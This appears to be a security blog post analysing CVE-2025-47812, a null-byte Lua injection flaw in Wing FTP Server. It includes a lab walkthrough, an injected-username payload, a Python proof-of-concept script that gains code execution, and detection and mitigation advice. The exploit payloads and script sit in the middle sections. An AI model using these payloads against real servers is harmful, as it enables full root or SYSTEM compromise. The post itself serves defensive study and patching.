CVE-2025-47812: Wing FTP Remote Code Execution

Description

In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle '\0' bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default). This is thus a remote code execution vulnerability that guarantees a total server compromise. This is also exploitable via anonymous FTP accounts

Hackers exploit critical Wing FTP flaw (CVE-2025-47812) for remote code execution with root/system rights after details leaked on June 30

This happens because the SessionModule.lua script loads and runs session files without proper validation. If an attacker can manipulate a session file, whose name is tied to a cookie (UID), they can trigger code execution by performing any authenticated action on the server, such as listing directory contents via the web interface.

Critically, the server executes this code with full system-level privileges: on Linux as root, and on Windows as NT AUTHORITY/SYSTEM. This is because the Wing FTP Server runs by default with elevated privileges and lacks protections like privilege dropping, sandboxing, or jailing.

Although authentication is required to reach this point, even an anonymous FTP account (if enabled) can be used to exploit the flaw. This vulnerability essentially enables an attacker to escalate from basic user access, anonymous or authenticated, to full remote code execution with administrative rights on both Linux and Windows systems.

Exploit attempts began after researchers published technical details on the vulnerabilities on June 30.

Lua Code Injection into Session Files

When you authenticate against the web interface with our NULL-byte injected username, the application creates a new session ID indicated by the UID session cookie:

When having a look at the wftpserver/session directory, you can notice that these session files are essentially Lua script files. The intention of these is to store only session variables, but since the loginok.html file works with the entire string, the NULL byte gets actually stored in the Session variable as well:

So what could possible go wrong with a username like this?

anonymous%00]]%0dlocal+h+%3d+io.popen("id")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--

This injects Lua code into the session file (also: nano FTW):

Triggering the Code Injection

We do have our injected Lua code in the session file, but how do we execute it? It is as easy as it sounds: the session file gets executed whenever it is used. The reason can be found in SessionModule.lua:

function load (id)

if not check_id (id) then

return false

end

local filepath = filename(id)

if fileexist(filepath) then

if filetime(filepath) + timeout < time() then

remove(filepath)

return false

end

local ipHash = string.sub(id, -32)

if c_RestrictSessionIP() == true and ipHash ~= md5(_REMOTE_IP) then

return false

end

if ipHash == "f528764d624db129b32c21fbca0cb8d6" and REMOTEIP ~= "127.0.0.1" then

return false

end

local f, err = loadfile(filepath)

if not f then

return false

else

f()

return true

end

end

end

If the session ID is valid, the session file is loaded on line 22 and directly executed on line 26. So after injecting the Lua code into the session file, whose name is essentially the value of the UID cookie, you only need to call any of the authenticated functionalities that are available through the Wing FTP web interface, such as reading the directory contents using the /dir.html endpoint:

This gives us Remote Code Execution on the server. But it does not end here. As you can see in the screenshot, the code is executed using root-rights on Linux because wftpserver runs using root-level rights by default. There is no dropping of rights, no jailing, or sandboxing (see also CVE-2025-47811).

On a side note: the Windows version of Wing FTP server is started using NT AUTHORITY/SYSTEM rights by default, which is why you will end up with a SYSTEM rights RCE on Microsoft Windows.

At this point, we’ve achieved what we wanted: Going from an anonymous read-only account to full code execution as root. And just to clarify: this isn’t just exploitable using the Anonymous account, but with any user account as long as you have valid credentials.

CVE-2025-47812 Practical Demonstration (Lab Setup & Exploitation)

Step 1: Prepare Your Safe Lab Environment

Option 1: Use VirtualBox or VMware

  • Create a Windows 10/11 VM

  • Disconnect it from the internet

  • Assign a host-only network

Option 2: Use Docker (Linux only)

  • Optional for advanced users; Wing FTP is a GUI tool, so VM is easier

Step 2: Download & Install Vulnerable Wing FTP Server

  1. Download Wing FTP Server 7.4.3 (vulnerable version):

  2. Install the server inside the VM.

  3. Launch Wing FTP Server and:

    • Click “Create Domain”

    • Use these settings:

      • Domain name: lab

      • IP: 127.0.0.1 (or 0.0.0.0 for VM access)

      • FTP port: 21

      • Web admin port: 5466

      • Web client port: 8080

  4. Start the domain.

Step 3: Create Anonymous User

  1. Go to: Domains > lab > Users > Add User

  2. Set:

    • Username: anonymous

    • No password

    • Enable anonymous login

    • Home directory: any folder, e.g. C:\ftp\anonymous

Step 4: Enable Session Saving (Required for Exploit)

  1. Go to: Domains > lab > Web Client Settings

  2. Make sure “Enable session saving” is checked (default is ON)

Step 5: Simulate Exploit (PoC)

Requirements:

  • Python or curl

  • Web port (default 8080)

  • Anonymous access enabled

Craft Your Payload:

lua

]] os.execute("calc.exe") --

This closes a string (]]), injects code, and comments out residual syntax.

Python PoC Script:

import requests

target = "http://127.0.0.1:8080"

payload = "anonymous%00]] os.execute('calc.exe') --"

data = {

'username': payload,

'password': ''

}

# Send payload

r = requests.post(f"{target}/loginok.html", data=data)

# Trigger the session execution

r2 = requests.get(f"{target}/dir.html")

print("Exploit triggered.")

This sends a malicious session and then triggers it.

Step 6: Observe Results

  • The payload runs calc.exe on the victim (RCE proof).

  • You may also check the following:

    • C:\Program Files (x86)\Wing FTP Server\session\anonymous (or user folder)

      • Contains the injected Lua code.
    • Log files:

      • C:\Program Files (x86)\Wing FTP Server\Log\Domains\lab\ → abnormal login entry

Technical analysis

CVE-2025-47812 is centered primarily around the ability for an adversary to craft a specific input in Lua, the programming language responsible for the handling of the sessions created on Wing FTP. Sessions typically store the user's current directory, IP address, and username. By taking advantage of the null-byte injection, the adversary disrupts the anticipated input in the Lua file which stores these session characteristics.

The attack chain relies on a few specific components:

  1. A login attempt is made against the loginok.html endpoint via POST request.

    1. To create a session that is stored, the attacker must use an account that either has known credentials, or (if enabled) an anonymous account without a password so they can perform a proper authentication process.
  2. The username field is appended with a %00 null-byte, to break the string processing of the username for login, but inject follow-on characters to be interpreted as Lua code.

    1. This includes two closing square braces “]]” to close the syntax and keep that intact for the session object file, and newlines to inject new malicious Lua code.

    2. The username payload ends with two hyphens to comment out the original “]]” that would be leftover from the intended session object file.

  3. The Lua code is now injected into the session object files must be triggered by the application naturally deserializing that data -- which is done by another request to any other website page like dir.html

Logs for this activity can be found within the Wing FTP installation folder:

C:\Program Files (x86)\Wing FTP Server\Log\

Wing FTP organizes its logs into three folders:

  1. Admin

  2. System

  3. Domain

Evidence of exploitation can be found in logs within the “Domain” folder, but note that Wing FTP separates logs by the different domain names that this server handles, so the subdirectory name underneath this path varies. The logs are saved with a date format YYYY-M-D.log.

For example, a log entry from this proof-of-concept exploitation would be in the path:

C:\Program Files (x86)\Wing FTP Server\Log\Domains\wingftp.local\2025-7-7.log

With the contents:

[01] Mon, 07 Jul 2025 12:51:23 Domain has been started.
[01] Mon, 07 Jul 2025 12:51:24 FTP server starts listening on port 21.
[01] Mon, 07 Jul 2025 12:51:24 FTPS server starts listening on port 990.
[01] Mon, 07 Jul 2025 12:51:24 HTTP server starts listening on port 80.
[01] Mon, 07 Jul 2025 12:51:24 HTTPS server starts listening on port 443.
[06] Mon, 07 Jul 2025 12:56:26 (0000001) User 'anonymous

Using this log file alone, the only line that is indicative of exploitation is the truncated entry:

User ‘anonymous

Note the missing closing single-quote—this is the null-byte breaking the entry in the log file. In this case, the anonymous user was targeted because it didn't need credentials to log in, but any other valid username with a correct password could be used to create a session and leverage this vulnerability.

For a normal login, not an artifact of exploitation, that log entry naturally looks like:

User 'anonymous' logged in ok! (IP:::1)

…. including the IP address of the authenticating client. Unfortunately, that detail is truncated when the log is generated from an exploitation attempt—however, the IP address will be included in the session object files themselves!

You may also find a log entry stating:

List ok

This is from a user listing files on the FTP service, like when they visit dir.html. While this can be utilized in the attack chain and exploit, bear in mind the adversary could choose any other endpoint or functionality to trigger Wing FTP to load the stored session info.

The best source of truth to identify exploitation is reviewing the session object files themselves, named with 64 hexadecimal character filenames and .lua file extensions in this directory:

C:\Program Files (x86)\Wing FTP Server\session

CVE-2025-47812 — Mitigations

This vulnerability allows unauthenticated remote code execution via Lua code injection using a null byte (\0) in the username, which is improperly handled and stored in a session file.

1. Disable Anonymous Logins (Main Attack Vector)

Why:

  • Exploit requires anonymous login to inject malicious session files.

How:

  • In Wing FTP Admin interface:

    • Go to: Domains > Users > anonymous

    • Either:

      • Delete the user, or

      • 🔒 Uncheck “Enable Anonymous Access”

This is the most effective mitigation if you cannot patch immediately.

2. Disable Session Saving (Blocks Payload Injection)

Why:

  • Exploit stores payload in .session files. Disabling session storage breaks the attack chain.

How:

  • Go to: Domains > Web Client Settings > Session Options

  • Uncheck:

    • Enable session saving”

Note: Disabling this may affect session persistence (users may need to re-authenticate more often).

3. Restrict Web Interface Access

Why:

  • Exploit uses HTTP POST to /loginok.html and then GET /dir.html to trigger Lua execution.

How:

  • Change Wing FTP to bind to localhost (127.0.0.1) if external access isn't required.

  • Or use a firewall to restrict access to trusted internal IPs only.

  • Change default ports:

    • Admin: 5466

    • Web: 8080

4. Enforce Authenticated Access

Why:

  • Unauthenticated users shouldn’t be able to interact with web APIs.

How:

  • Remove anonymous and require all users to have strong passwords.

  • Disable guest accounts or default credentials.

5. Monitor and Clean Session Files

Why:

  • Exploited systems will have .session files containing Lua code.

How:

  • Check session/ directory, e.g.:

pgsql

C:\Program Files (x86)\Wing FTP Server\session\

  • Delete suspicious .session files

    • Look for payloads like os.execute, io.popen, etc.

6. Monitor Logs for Exploitation Attempts

Indicators:

  • Log entries like:

rust

User 'anonymous <-- missing closing quote

  • Suggests null byte was used in login request (a sign of exploit attempt)

Logs typically found at:

pgsql

C:\Program Files (x86)\Wing FTP Server\Log\Domains\<domain>\

7. Use Host-Based Protections

If you have EDR, AV, or Sysmon:

  • Block/alert on:

    • calc.exe, cmd.exe, or powershell.exe launching from WingFTP.exe
  • Monitor file creation in session\ directory

You can also use Wazuh or Sysmon rules for this — I can provide them.

0
Subscribe to my newsletter

Read articles from sm_defencerabbit directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

sm_defencerabbit
sm_defencerabbit